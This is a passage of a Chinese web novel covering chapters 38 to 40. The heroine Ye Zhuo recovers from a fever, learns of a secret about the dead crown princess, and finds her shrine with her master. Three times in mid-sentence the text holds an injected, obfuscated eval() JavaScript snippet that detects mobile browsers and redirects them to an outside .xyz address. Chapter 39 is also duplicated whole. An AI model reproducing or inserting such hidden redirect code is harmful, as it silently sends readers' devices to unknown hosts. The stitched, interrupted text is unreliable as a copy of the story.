看不清女人的脸,唯她的手心,仿佛有阿娘般的温度。 叶灼望着她,往手心里蹭了蹭。 “阿木,”女人唤道,“路上小心些。” 声音很模糊,听起来不像中原人的名字。不知怎的,隐约觉得是在唤自己。 “带好水囊,不要再被人抢了。” 从没有听过的奇怪语言,自己竟然莫名能懂一些。 女人一边叮嘱,一边给她的手缠上一圈圈绷带,不知道干什么作用。只是她两只手布满大大小小的血口,像是被什么东西勒出来,破了又愈合,愈合了又破。她却仿佛早已习惯般,努力绽出一个笑。 “阿木乖。”女人又说了句话,叶灼不懂得其中含义,大体听出是句祝福语。 想说些什么,话到嘴边,只化作含糊不清的咿咿呀呀。 不知道为什么,女人看起来更悲伤了。 吃完这一餐,叶灼出了门。 烈日当空,黄沙漫天,所踩之处泥浆遍地。 而她不知身在何方,装货用的麻袋扛于肩头,小小的身躯,拖着有如巨石的重量前行。现在叶灼明白了,绷带原是用来增加摩擦力的。 身后跟着一群年龄相仿的孩子,穿着破烂的衣裳和草鞋,和她一样卖命地干活。 “没用的东西,快点儿!”不知谁在高声催促。 “都给我听好了!天黑之前,这些粮草务必运到营区,别想着偷懒!要不然……” 一鞭子落下,竟然感觉不到痛。 腰间什么东西被抽走,叶灼扑上去,却被那人一脚踢开。 “还……还给我!”她拼命从喉咙里挤出几个字。 “活干不完还想喝水,以为自己是娇贵命呢?!”那人又踹了她一脚。 脑袋昏昏沉沉,她很快抗不住,原地倒了下去。 赶路的竞相从她身上迈过,没有一人搭理她,甚至,没有人敢多看她一眼。 对于这里的规则,他们清楚得很。货奴一旦帮谁的忙,非但连累彼此受重罚,还免不了受皮肉之苦。 “装什么死?!起来!” 叶灼也懂得这些,所以打心眼里怪不得谁。她只痛恨那个抢她水囊的人,总对着她和同伴们拳打脚踢,罚他们干加倍的活,连觉也不让人睡。 不过此时此刻,再多拳脚补在身上都无济于事。 实在太累了,她只想好好睡一觉。只有在足够累的时候睡着才不会做噩梦,就像现在一样。 …… 醒来的时候,正对一张胖乎乎的小脸,水灵灵打量着她。 “哇啊!”叶灼一骨碌从榻上蹦起。这一下磕到鼻子,好疼。 纳兰褚寰扎着包子头,怯生生眨着大眼睛,往宋娘身后躲了躲。“娘娘,灼姐姐好像要吃人……” 宋娘身旁站着介铃,皆是面露忧色。叶灼这才发现大清早的,床边竟围坐一堆人。 “身子可好些了?”卫知瑶殷切道,“昨日你发了热病,叶少卿将你送了回来,之后听你睡下,我不是太放心。正好宋娘和介师姐惦记得紧,小郡主也想你了,我便领她们一道来看看你。” “叶姑娘。”宋娘过来问好,周遭放着些慰问的瓜果。 “老身得知叶姑娘生病,正好有一事相问,不敢有片刻耽搁便来了。叶姑娘若不嫌弃,这些瓜果,姑且算作老身一点心意。” “宋娘您太客气了。”她怎么可能嫌弃?不想和宋娘只有几面之缘,她却如此关照自己,自己感动还来不及呢。 “叶师妹,你终于醒了!昨日看你晕过去,着实把我吓个不轻。”介铃愤愤不平地挥拳。 “许昭昭那帮人实在可恶,我和江枫已经帮你教训过他们,谅他暂时不敢拿你怎么样。师姐给你带了莲子羹,自己做的,对你恢复有帮助。” “瑶姐姐,介师姐,宋娘……”叶灼望着她们,忽然有些哽咽。 从前在丹青阁,李伯来前除了师父,没有人这般关心自己。有时恰逢师父出远门,生了病无人理睬,只能自己硬生生扛过去。 自打来了上京,虽然不愉快的人和事比以前多得多,却总有些朋友矢志不渝相信自己、护着自己,成为她留在这里的一个又一个理由。 只见介铃将莲子羹盛入碗中,叶灼急得端过她手里的碗。 “师姐,我自己来吧。你是闺阁出身,怎么能干这样的活儿?烫着手就不好了。” 介铃抬起下巴一哼,“你呀,可别瞧不起师姐。我又不是娇惯大的,小时候帮阿娘打的下手不少,对这些熟着呢。宋娘,您说是吧?” “介小姐烧的菜,老身有幸尝过,的确是一等一的美味。”宋娘笑盈盈道,“尤其是这莲子羹,养心去火,对病愈之人补身子是最有裨益不过。” 没想到平时有些粗枝大叶的介师姐亲自为她下厨,而且还这样用心。叶灼拉上她的胳膊,感动得一塌糊涂:“师姐你最最最好了,这碗莲子羹,我高低得尝尝不可!” 见她们其乐融融,卫知瑶假意不忿:“介师姐最最最好,那我呢?” 叶灼“噗嗤”一笑,搭上她的肩,“并列天下第一好!” 她想起介夫人曾为东宫司馔,厨艺定然不会差。正好肚子饿了,于是迫不及待舀起一勺。 放入嘴里轻轻一抿,莲子在嘴里化开,清甜可口。 腮帮子嚼嚼嚼,叶灼两眼放光,“果然顶级美味!” 她虽然没吃过御厨做的菜,宫里的琼浆玉液大抵也不过如此,夸得介铃都有些不好意思了。 末了,她擦擦嘴:“其实我不过是发发热病,没什么大碍,吃点药就好得差不多了。现在有师姐这道莲子羹,腰不酸腿不疼,已经没事啦!” “真的?”介铃看起来比她还要高兴。 “当然。多亏了师姐!”叶灼道,“说起来,师父那边怎么样了?” 介铃点点她的鼻头,“都什么时候了,还想着别人。” “师父可不是别人。”叶灼抿了抿嘴,“师姐你有所不知,昨日那件事过后,我一直心神不宁的,犹恐他受到牵连。师父他老人家就算遇到麻烦也不会说,万一出个什么岔子,我的罪过就大了。” 介铃偏不解,“你师父那么大个人,还能走丢不成?” 知她是要问史书的情况,卫知瑶覆上她的手:“灼妹妹,你可以心安了。叶少卿通传时解释过,今晨刑部发布悬赏令,并没有追究你的责任。你没事,叶少卿自然也没事了。何况以叶少卿的身份,除却圣上,谁敢追究他的责任?” 叶灼想了想倒也是。“悬赏令?”她眨了眨眼,“悬赏什么?” “朝廷正在寻找始作俑者,以及故意传扬、歪曲史实之人。” 叶灼眸光闪动一瞬,手中汤匙轻晃。 卫知瑶察觉她的不安,“怎么了?你可知道些什么?” “没、没什么。我只是在想,那书不过是我路边买的,当时以为是普通的史书,没想到会引来这么大麻烦……让你们操心了。” 《容国秘史》是师父给她的,万万不可让他们查到师父头上。已经给师父闯了那么多祸,不能再说漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100337|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴了。 卫知瑶欣慰地摇头:“没什么比你的身体重要。若还有哪里不舒服,我让太医再过来给你看看,别硬逞强。” “放心吧瑶姐姐,我又不是三岁小儿,知道如何照顾自己。而且你忘了?”叶灼又盛一碗,自顾自地吃起来,“我自己也是大夫,可以替自己治病。” 两大碗莲子羹,很快被一扫而空。 纳兰褚寰馋兮兮看着她,口水都要淌成瀑布。叶灼蹲下身,戳戳她的脸。 “小馋猫,已经没有咯。下次灼姐姐做给你吃如何?” 纳兰褚寰乖巧应下。 叶灼摸摸她的头,“听说你想我啦?” 她不好意思地点头,小指头绕啊绕。 “寰儿最近有没有好好吃饭啊?” “有!寰儿听说灼姐姐生病,还以为再也见不到灼姐姐、吃不到糕饼了。幸好,灼姐姐好好的,又能和寰儿一起玩了。”她说着,像只花蝴蝶般转了个圈。 “灼姐姐你看,最近爹爹回来,寰儿被喂得胖了一圈呢!” “哎哟,是胖了不少。” 叶灼对着这张小脸蛋揉啊揉,简直爱不释手。“寰儿是想我还是想糕饼啊?” “都想!” 看来她的食疗法有用。犹记得刚见到纳兰褚寰,她只有脸蛋肉乎乎的,身形却干瘦,头发有如枯草般。如今出落得愈发水灵可爱,白胖了许多,气色也好上不少,和一年前相比,简直判若两人。 “对了。”叶灼站起身来,“宋娘适才说有事找我,是何事?” 宋娘方才压着头闷不吭声,叶灼看在眼里,本就觉察几许不对劲。经这样一问,她垂下眸,神情显得更加古怪。 卫知瑶与介铃互相递着眼色,又向宋娘递了个眼色。她们三个挤眉弄眼,叶灼挠了挠头,着实有些看不明白。 极少见宋娘有这副神色,应该是有什么难言之隐罢。 “宋娘但说无妨。”叶灼说道,“有什么问题憋在心里,久而久之,只怕没病也要憋出病来。” 宋娘犹豫半晌,道:“不知叶姑娘,可否替老身保密?” “既然宋娘有求于我,我定守口如瓶。”叶灼想起来什么,朝门口道:“晴儿,我现在要更衣,你先出去吧。左舟在屋外候着,你记得也不要让他进来。” 晴儿抬眼望了望,答道:“是。”然后躬身而退。 “现在可以说了。” 却见宋娘“扑通”一声跪下。 “姑娘的大恩大德,老身永世难忘!” “宋娘您……这是做什么?”叶灼吓傻了眼,忙不迭上去扶。 “快起来,我是晚辈,受不起您这等大礼。” “事关小郡主的死生,老身必须跪。”宋娘态度决绝,一动不动钉在原地。 想不到她力气还挺大的,叶灼实在不明白,这上京人,怎么个个儿都喜欢给人家下跪啊? “接下来老身要说的话,也许姑娘听来感到诧异,甚至于匪夷所思。姑娘不知道也无妨,但请你相信……老身所言没有半句假话,这件事无论以前或是以后,老身不敢与任何人宣扬。也请姑娘答应,万不可将此事传扬出去,若出了什么差池,只管将过错尽数推与老身便是。” “好好好,我答应你。”叶灼无奈道:“无论你接下来的话多么离谱多么匪夷所思,除非天打雷劈全家死光,否则我绝不会往外说的。” “叶师妹!” 介铃、卫知瑶皆是一惊。 “灼妹妹,你怎能轻易发下如此毒誓?” 叶灼也顾不得她们劝阻,反正她全家早就死光了。师父与她无关血缘,更不用说李伯。就算她把他们视作家人,她也不是个乱说话的人,所以这句誓言断不会应验。 “所以宋娘,到底是什么事?” “老身怀疑,”宋娘的脸色越来越沉,“小郡主见到了太子妃的鬼魂。” 39.蜕变(九) “我……我出去散散心。”叶灼凝眉道。 “那晴儿陪您一起。” “不用。我就在这附近逛逛,很快就回来。夜里凉,你且进屋歇着吧。” 晴儿刚要跟上去,一道身影冷不丁横在身前。 “白天听墙根子不够,晚上还要行跟踪之事。”左舟清咳一声,“晴姑娘这么做,恐怕不妥当吧?” “我确保我家主子安危,妥不妥当与你何干?”晴儿鼻尖轻嗤,“倒是你,处处碍手碍脚,也不知谁心里有鬼。” 左舟冷笑道:“我哪儿敢呢。我是叶少卿派来看护叶小姐的,难不成,你怀疑叶少卿?” “我可没那么说,让开。” 谁知他不退反进,“警告你,不管你真的听到什么,听了多少,别妄想着通风报信。要不然,你的下场,会比一只蝼蚁还……” 话音未落,她一脚踩上来。 左舟吃痛拧眉,“嗷”地叫出声。 “谁是蝼蚁还不知道呢。”晴儿踩还不够,又狠狠碾磨几下。“我叫你让开,听不懂人话?” 疼痛自脚背贯穿全身,引得他哀叫连连。 晴儿冷哼一声,“区区一个长随,也上赶着威胁我来了,自讨苦吃。”说完,甩头进了屋。 “你,你怎敢……”左舟指着她跳脚,无奈自己要盯梢,不好拿她怎么样。 敢情叶少卿留这么个夜叉在身边,真是气死他了! 黄昏将近,树梢传来呜呜啼鸣。 叶灼往身上挂了些葱姜蒜瓣,往较粗的枝干踩上去。“嘎吱”一声,惊得鸱鸮扑翅飞走。 本想着从侧门进入,结果各处都上了封条,绕来绕去,又绕回原地。 从前只是隔墙观望,兴许是听了宋娘阐述,比之史册上冰冷的文字,太子妃几个字眼,未免显得亲切许多。一年后翻墙进去,竟也不怎么怕。 院落不大,三面高墙围起,一面傍山而立。抄来的扫帚用于支住地面,滑到底部顺势一跳,霎时粉尘飞扑。 “咳咳……真够呛。” 横梁到处悬挂蛛网,杂草长得比人还要高了。叶灼将贴满封条的木桶一踹,直奔里屋去。 从没见过如此奇怪的布局,怎么门里面还有门?外面的光线本就不容易照进,经这么一层又一层隔绝,天亮时分,屋内照样昏暗无边。 突然有点儿后悔,刚刚忘了带灯进来。 “好重的霉味……” 四面密不透风,根本不像人住的地方。 叶灼掩住口鼻,越往里越是昏暗,只好折返。心想着把门窗打开,或可以透进些光。 “嘭。”只听得一声巨响。 又是“嘭嘭”几声,外面几扇门接连关上。 力道极大,几乎发生在同一瞬间。 她浑身汗毛竖起。 “应该……是风吧?” 这下什么也看不见,于是借着墙洞透出一点微弱天光,缓缓挪向门闩。 锐物以极快的速度从耳侧擦过,刮下来几根发丝。不远处帛裂声刺耳,只差一点儿,脑袋就要穿洞。 是暗器?……不会吧,难道这么快就被人盯上了? 还是这世上真的有鬼?不是都说鬼怕大蒜么,怎的到自己身上却不管用啊? 偌大的未知笼罩心头,黑暗中仿佛潜伏着只巨兽,随时要张开血盆大口。叶灼呆立原地一动不敢动,深深地呼吸了几下,汗涔涔滚落而下。 “太、太子妃娘娘,是你么?” “叮。”四下无人回应,似有什么东西掉落,发出脆响。 “我与你无冤无仇,你可千万别杀我啊。你若有什么冤屈,等我找到证据,一定会帮你的!” 不知从哪儿传来脚步声,轻而和缓,以均匀的速度靠近。 “谁?” “哒、哒、哒。”那声音愈发清晰,约莫一尺远距离,骤然停步。 “你、你不要过来啊!”叶灼握紧了扫帚,“何方妖孽,还不报上名来?” “阿……” “不、不说是吧?吃我一棍!” 一道光刺来,满屋顷刻灯火通明。 叶灼慌张更甚,本能一扫帚砸下去。“咔嚓”一声,扫帚断成了两截。 渐渐适应了光亮,眼前展现出一道熟悉的轮廓。 叶无声就这样明晃晃站在她面前,左手提着灯,整个人石化在原地。 “师师师师师父!”叶灼大惊失色。 师父大人怎么会出现在这里?刚刚发生了什么……她居然打了师父?苍天啊,大地啊,坏事了!这比见了鬼还要可怕! “对对对不起师父,阿灼不知道是您!师父您有没有事啊?” 但见他额角淌下一抹红,叶灼吓得手上扫帚都飞了:“啊!师父您都流血了!”连忙揣出巾帕,围着他检查转悠,“师父啊,您怎么都不知道躲一躲!” 本来要替他擦拭,却被他顺势夺下。 “无妨,皮外伤……”叶无声尴尬地拭去。他也没想到自己这个徒弟动起真格,下手竟这样狠。本来两手拿着东西不方便,还没说句完整话,就遭她一记重击。而且她身板看起来小小的,手劲竟然这么大。 “师父,您怎么会出现在这里?” “为师放心不下,过来寻你。”叶无声将油灯放到一边,不急不缓道:“那你呢,你来这儿做什么?” “我是为了……”她本来想如实禀告,想起答应过宋娘要保密,定是连师父也不能告诉,连忙收声。 气味有些刺鼻。叶无声轻轻皱眉:“脖上衔的是什么?” “这个呀,”叶灼将她串成链儿的宝贝提起,高兴地向他展示,“葱姜蒜瓣,用来杀鬼的!” 叶无声掩袖后退,眉头皱得更紧。 知道师父洁癖嫌味儿,叶灼弱弱缩回手,吐了吐舌头。“呃,我说我是住久了闲得慌,想着和邻居串串门,师父会信么?” “你说呢?”叶无声抱臂道。 只见她一脸的沮丧,小手指搓来搓去,看来要憋个新的理由,不由觉得有些好笑。 “其实吧,我听闻这一带闹鬼,好奇得紧,想来见见鬼长什么模样。” 叶无声唇角挂起轻微的弧度,莫名却有些诡异。“这倒是可信些。不过,你现在见到了。” “见到啥?” “邻居和鬼,都见到了。” 他说得面无表情,叶灼却是头皮发麻。 “师父,这话是何意啊?” “看看你身后。” 叶灼愣愣地转身,不小心碰到桌角。只待她看清桌上摆放的什么,差些跌坐在地。 赫然出现在眼前的——是一座祭台。 两旁的蜡烛不知何时被点起,前摆着些供果,还有几朵白色小花。陈设虽略显简陋,不过台面一尘不染,看起来时常有人擦拭。 “尊太子妃,杨氏神主……”叶灼念道灵牌上刻的字。 用于供奉的花,屋外窗台之上好像也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140233|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。当时自己远远望见,还以为是雏菊,现在离近了看,又好像不是。 “杨挽生前最喜用的,便是这梧桐花。”叶无声启唇道,“她曾说过,若有朝一日她离了这人世,不要用寻常花种祭奠,该用这梧桐花,走得热烈才是。” 墙上挂有幅画像,边缘略有破损,几个小孔均匀分布。 叶灼细细打量,好像被什么东西扎穿了,不过幸好,人物安然无恙。 画上女子蛾眉螓首,笑容嫣然,一袭素白纱衣披在身外。尤其那双眼,像是初春早晨,树叶缝隙间透过的暖阳。自然带着明艳,万物为之倾倒。 忍不住惊叹,能把太子妃娘娘画得这样传神,那名画师一定十分用心吧。可惜灵牌摆在这儿,说明画中人已经不在人世了。想到这里,不觉暗暗感伤。 “这幅画像出自太子殿下之手,是他少时所绘。”叶无声缓缓道,“你看到发间的发簪了么?” 仔细瞧了瞧,果真有零星雪白点缀。 “这支梧桐发簪,乃是殿下当年赠予她的信物。” 叶灼迷惘地眨着眼,“师父,您认识太子妃娘娘?” “早在三年前,为师曾充任过一段时间的太子洗马。彼时为师刚入宫不久,太子殿下病情尚浅。流水斋刚刚修筑,圣上责令我教授其文理政事。”叶无声顿了顿,“杨挽也是在那时候入斋,做了女官之首的宫正。” 叶灼恍然明白过来。若是这般,师父和太子妃娘娘,应算有过同僚之谊。 他将烛台上的蜡油刮去,添上盏新烛,接着道:“皇后娘娘对此女很是看重。杨挽之父为当朝上柱国杨勋,当时权势极盛,圣上也有意结亲。于是一纸赐婚,令其入主东宫。” 看来她是风风光光嫁进东宫的。“太子妃娘娘是个什么样的人呢?” “早在做女官时,杨挽便以才干出众。内事经她之手,总被打理得井井有条。又因其从不轻慢下属,颇受时人敬仰。” 叶灼点了点头,难怪宋娘如此忠心于她。只是有件事想不明白,“都到了相赠信物的田地,她和太子,不该是两情相悦么?” “殿下于她,的确有过几分情谊。至于杨挽,起初入宫即是蒙受家族之命,或情或利,或各掺半……”叶无声语气稍稍顿下,目光微沉。 “她这一生,从来由不得自己做主。纵使杨挽心中有情,早在景殿下忘记她时,也该殆尽了。” “太子殿下……忘记了她?”叶灼怔道,“是因为病情加重么?” 叶无声微微点头,“后来的事,想必你也知道。经人告发,杨挽毒害太子未遂,触怒了龙颜。自此,上柱国倒台,杨氏满门被抄,杨婉亦不知去向。朝廷下了封口令,各方纵然知晓内情,大都心照不宣。后入宫的小辈,只以为是其罪行败露,羞惭自尽。” 好个羞惭自尽…… 画中人静静注视着她,那样温柔而又美丽,不知怎的,叶灼竟一点儿也不感到害怕。杨挽是人是鬼,似乎已经不重要了。 心口渐渐发紧。 “师父,您后来见过她么?” 知她言此意彼,叶无声面不改色,答得直截了当:“见过。” 叶灼瞳孔微震。 “就在数月前的某个夜晚。你昏倒在院子里,周身燃着火。杨挽也在你身旁。” 脑中“轰”的一声,她倒吸一口冷气。上下唇翕张,却是哑口无言。 好半天后,叶灼紧闭双眼,艰涩发问:“那时的她……还活着么?” 39.蜕变(九) “我……我出去散散心。”叶灼凝眉道。 “那晴儿陪您一起。” “不用。我就在这附近逛逛,很快就回来。夜里凉,你且进屋歇着吧。” 晴儿刚要跟上去,一道身影冷不丁横在身前。 “白天听墙根子不够,晚上还要行跟踪之事。”左舟清咳一声,“晴姑娘这么做,恐怕不妥当吧?” “我确保我家主子安危,妥不妥当与你何干?”晴儿鼻尖轻嗤,“倒是你,处处碍手碍脚,也不知谁心里有鬼。” 左舟冷笑道:“我哪儿敢呢。我是叶少卿派来看护叶小姐的,难不成,你怀疑叶少卿?” “我可没那么说,让开。” 谁知他不退反进,“警告你,不管你真的听到什么,听了多少,别妄想着通风报信。要不然,你的下场,会比一只蝼蚁还……” 话音未落,她一脚踩上来。 左舟吃痛拧眉,“嗷”地叫出声。 “谁是蝼蚁还不知道呢。”晴儿踩还不够,又狠狠碾磨几下。“我叫你让开,听不懂人话?” 疼痛自脚背贯穿全身,引得他哀叫连连。 晴儿冷哼一声,“区区一个长随,也上赶着威胁我来了,自讨苦吃。”说完,甩头进了屋。 “你,你怎敢……”左舟指着她跳脚,无奈自己要盯梢,不好拿她怎么样。 敢情叶少卿留这么个夜叉在身边,真是气死他了! 黄昏将近,树梢传来呜呜啼鸣。 叶灼往身上挂了些葱姜蒜瓣,往较粗的枝干踩上去。“嘎吱”一声,惊得鸱鸮扑翅飞走。 本想着从侧门进入,结果各处都上了封条,绕来绕去,又绕回原地。 从前只是隔墙观望,兴许是听了宋娘阐述,比之史册上冰冷的文字,太子妃几个字眼,未免显得亲切许多。一年后翻墙进去,竟也不怎么怕。 院落不大,三面高墙围起,一面傍山而立。抄来的扫帚用于支住地面,滑到底部顺势一跳,霎时粉尘飞扑。 “咳咳……真够呛。” 横梁到处悬挂蛛网,杂草长得比人还要高了。叶灼将贴满封条的木桶一踹,直奔里屋去。 从没见过如此奇怪的布局,怎么门里面还有门?外面的光线本就不容易照进,经这么一层又一层隔绝,天亮时分,屋内照样昏暗无边。 突然有点儿后悔,刚刚忘了带灯进来。 “好重的霉味……” 四面密不透风,根本不像人住的地方。 叶灼掩住口鼻,越往里越是昏暗,只好折返。心想着把门窗打开,或可以透进些光。 “嘭。”只听得一声巨响。 又是“嘭嘭”几声,外面几扇门接连关上。 力道极大,几乎发生在同一瞬间。 她浑身汗毛竖起。 “应该……是风吧?” 这下什么也看不见,于是借着墙洞透出一点微弱天光,缓缓挪向门闩。 锐物以极快的速度从耳侧擦过,刮下来几根发丝。不远处帛裂声刺耳,只差一点儿,脑袋就要穿洞。 是暗器?……不会吧,难道这么快就被人盯上了? 还是这世上真的有鬼?不是都说鬼怕大蒜么,怎的到自己身上却不管用啊? 偌大的未知笼罩心头,黑暗中仿佛潜伏着只巨兽,随时要张开血盆大口。叶灼呆立原地一动不敢动,深深地呼吸了几下,汗涔涔滚落而下。 “太、太子妃娘娘,是你么?” “叮。”四下无人回应,似有什么东西掉落,发出脆响。 “我与你无冤无仇,你可千万别杀我啊。你若有什么冤屈,等我找到证据,一定会帮你的!” 不知从哪儿传来脚步声,轻而和缓,以均匀的速度靠近。 “谁?” “哒、哒、哒。”那声音愈发清晰,约莫一尺远距离,骤然停步。 “你、你不要过来啊!”叶灼握紧了扫帚,“何方妖孽,还不报上名来?” “阿……” “不、不说是吧?吃我一棍!” 一道光刺来,满屋顷刻灯火通明。 叶灼慌张更甚,本能一扫帚砸下去。“咔嚓”一声,扫帚断成了两截。 渐渐适应了光亮,眼前展现出一道熟悉的轮廓。 叶无声就这样明晃晃站在她面前,左手提着灯,整个人石化在原地。 “师师师师师父!”叶灼大惊失色。 师父大人怎么会出现在这里?刚刚发生了什么……她居然打了师父?苍天啊,大地啊,坏事了!这比见了鬼还要可怕! “对对对不起师父,阿灼不知道是您!师父您有没有事啊?” 但见他额角淌下一抹红,叶灼吓得手上扫帚都飞了:“啊!师父您都流血了!”连忙揣出巾帕,围着他检查转悠,“师父啊,您怎么都不知道躲一躲!” 本来要替他擦拭,却被他顺势夺下。 “无妨,皮外伤……”叶无声尴尬地拭去。他也没想到自己这个徒弟动起真格,下手竟这样狠。本来两手拿着东西不方便,还没说句完整话,就遭她一记重击。而且她身板看起来小小的,手劲竟然这么大。 “师父,您怎么会出现在这里?” “为师放心不下,过来寻你。”叶无声将油灯放到一边,不急不缓道:“那你呢,你来这儿做什么?” “我是为了……”她本来想如实禀告,想起答应过宋娘要保密,定是连师父也不能告诉,连忙收声。 气味有些刺鼻。叶无声轻轻皱眉:“脖上衔的是什么?” “这个呀,”叶灼将她串成链儿的宝贝提起,高兴地向他展示,“葱姜蒜瓣,用来杀鬼的!” 叶无声掩袖后退,眉头皱得更紧。 知道师父洁癖嫌味儿,叶灼弱弱缩回手,吐了吐舌头。“呃,我说我是住久了闲得慌,想着和邻居串串门,师父会信么?” “你说呢?”叶无声抱臂道。 只见她一脸的沮丧,小手指搓来搓去,看来要憋个新的理由,不由觉得有些好笑。 “其实吧,我听闻这一带闹鬼,好奇得紧,想来见见鬼长什么模样。” 叶无声唇角挂起轻微的弧度,莫名却有些诡异。“这倒是可信些。不过,你现在见到了。” “见到啥?” “邻居和鬼,都见到了。” 他说得面无表情,叶灼却是头皮发麻。 “师父,这话是何意啊?” “看看你身后。” 叶灼愣愣地转身,不小心碰到桌角。只待她看清桌上摆放的什么,差些跌坐在地。 赫然出现在眼前的——是一座祭台。 两旁的蜡烛不知何时被点起,前摆着些供果,还有几朵白色小花。陈设虽略显简陋,不过台面一尘不染,看起来时常有人擦拭。 “尊太子妃,杨氏神主……”叶灼念道灵牌上刻的字。 用于供奉的花,屋外窗台之上好像也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140233|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。当时自己远远望见,还以为是雏菊,现在离近了看,又好像不是。 “杨挽生前最喜用的,便是这梧桐花。”叶无声启唇道,“她曾说过,若有朝一日她离了这人世,不要用寻常花种祭奠,该用这梧桐花,走得热烈才是。” 墙上挂有幅画像,边缘略有破损,几个小孔均匀分布。 叶灼细细打量,好像被什么东西扎穿了,不过幸好,人物安然无恙。 画上女子蛾眉螓首,笑容嫣然,一袭素白纱衣披在身外。尤其那双眼,像是初春早晨,树叶缝隙间透过的暖阳。自然带着明艳,万物为之倾倒。 忍不住惊叹,能把太子妃娘娘画得这样传神,那名画师一定十分用心吧。可惜灵牌摆在这儿,说明画中人已经不在人世了。想到这里,不觉暗暗感伤。 “这幅画像出自太子殿下之手,是他少时所绘。”叶无声缓缓道,“你看到发间的发簪了么?” 仔细瞧了瞧,果真有零星雪白点缀。 “这支梧桐发簪,乃是殿下当年赠予她的信物。” 叶灼迷惘地眨着眼,“师父,您认识太子妃娘娘?” “早在三年前,为师曾充任过一段时间的太子洗马。彼时为师刚入宫不久,太子殿下病情尚浅。流水斋刚刚修筑,圣上责令我教授其文理政事。”叶无声顿了顿,“杨挽也是在那时候入斋,做了女官之首的宫正。” 叶灼恍然明白过来。若是这般,师父和太子妃娘娘,应算有过同僚之谊。 他将烛台上的蜡油刮去,添上盏新烛,接着道:“皇后娘娘对此女很是看重。杨挽之父为当朝上柱国杨勋,当时权势极盛,圣上也有意结亲。于是一纸赐婚,令其入主东宫。” 看来她是风风光光嫁进东宫的。“太子妃娘娘是个什么样的人呢?” “早在做女官时,杨挽便以才干出众。内事经她之手,总被打理得井井有条。又因其从不轻慢下属,颇受时人敬仰。” 叶灼点了点头,难怪宋娘如此忠心于她。只是有件事想不明白,“都到了相赠信物的田地,她和太子,不该是两情相悦么?” “殿下于她,的确有过几分情谊。至于杨挽,起初入宫即是蒙受家族之命,或情或利,或各掺半……”叶无声语气稍稍顿下,目光微沉。 “她这一生,从来由不得自己做主。纵使杨挽心中有情,早在景殿下忘记她时,也该殆尽了。” “太子殿下……忘记了她?”叶灼怔道,“是因为病情加重么?” 叶无声微微点头,“后来的事,想必你也知道。经人告发,杨挽毒害太子未遂,触怒了龙颜。自此,上柱国倒台,杨氏满门被抄,杨婉亦不知去向。朝廷下了封口令,各方纵然知晓内情,大都心照不宣。后入宫的小辈,只以为是其罪行败露,羞惭自尽。” 好个羞惭自尽…… 画中人静静注视着她,那样温柔而又美丽,不知怎的,叶灼竟一点儿也不感到害怕。杨挽是人是鬼,似乎已经不重要了。 心口渐渐发紧。 “师父,您后来见过她么?” 知她言此意彼,叶无声面不改色,答得直截了当:“见过。” 叶灼瞳孔微震。 “就在数月前的某个夜晚。你昏倒在院子里,周身燃着火。杨挽也在你身旁。” 脑中“轰”的一声,她倒吸一口冷气。上下唇翕张,却是哑口无言。 好半天后,叶灼紧闭双眼,艰涩发问:“那时的她……还活着么?” 40.蜕变(十) 虽然打从走进这处院子,自己隐隐有不祥的预感。看到灵牌后知道她薨逝,也只是略感哀伤。这一问,仿佛用尽了所有气力。 她好怕,好怕听到那个答案。 叶无声轻轻蹙眉。踌躇少顷,心道也罢,该来的总会来。 “她伤得极重,为师赶来发现时,已经气绝。” “!!” 叶灼踉跄两步,如遭雷击。 怕她误会,叶无声又道:“她的伤主在内而不在外。五脏六腑隐疾并发,加之急火攻心,早几个时辰,恐怕也无力回天。” 叶灼想说些什么,却是一个字吐不出口。 耳边嗡鸣声不断,将她带回那个夜晚—— 那双布满血丝的哭得红肿的眼,被她当做一双鬼眼;那日日夜夜无穷尽的啜泣,则被她置若罔闻。 可她分明,早在这之前就怀疑过! 她想过无数种可能,最后却蒙骗自己,那只是一个梦。 而那个自己误以为梦魇的夜晚,本该是杨挽最后一次得救的机会。 ——不仅如此,过往更有无数次机会。 可她竟然这样迟钝,一次又一次地错过,哪怕真相近在眼前,依旧选择视而不见! 巨大的悲恸以不可挽回之势袭来,爬上身体每一处神经。她强行压下,终是缓缓开了口:“师父,太子妃娘娘谋害太子之事,您相信么?” 叶无声摇了摇头。 “既如此,”叶灼紧闭上眼,“师父当时为何不告诉我?” 叶无声不语,只是静静望着她。 “为何……要隐瞒?” “光你我二人相信,没有用。”他话语中不带一丝情绪,好像完全置身事外般。 各种感觉杂糅在一起,如一块巨石压在胸口。最重,应是悔恨。 